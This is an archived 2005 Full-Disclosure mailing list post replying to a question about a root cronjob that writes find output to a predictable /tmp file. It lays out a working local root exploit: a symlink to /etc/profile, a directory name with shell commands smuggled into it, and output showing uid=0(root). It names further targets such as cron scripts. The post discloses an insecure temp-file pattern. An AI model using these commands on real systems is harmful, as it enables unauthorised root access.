full-disclosure - Symlink attack techniques

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <200512142116.39934.fdlist@digitaloffense.net>
Date: Thu Dec 15 03:17:04 2005
From: fdlist at digitaloffense.net (H D Moore)
Subject: Symlink attack techniques

Assuming that the find command will report a directory or file that you control, 
you can use the symlink to overwrite a shell script, and then place shell commands
into your file name:

$ mkdir \`cd\..\;cd\ ..\;cd\ ..\;cd\ ..\;cd\ ..\;cd\ ..\;cd\ tmp\;sh\ root.sh\`
$ echo id > /tmp/root.sh
$ chmod +x /tmp/root.sh

$ ln -s /etc/profile /tmp/report

# find / [args]  > /tmp/report
# su - (executes /etc/profile)
/tmp/report: line 1: cd..: command not found
/tmp/report: line 1: ./uid=0(root): No such file or directory

Some potential shell scripts include /etc/profile, /etc/cron.*/*, and /etc/profiles.d/*.

-HD

On Wednesday 14 December 2005 16:42, Werner Schalk wrote:
> On a Unix system there is a cronjob set up which will use the find
> command to create some sort of report and output that report to a
> predictable file in /tmp. So basically the command in the crontab is
> something like:
>
> 15 4  * * 6     root    /usr/bin/find [command] > /tmp/report.txt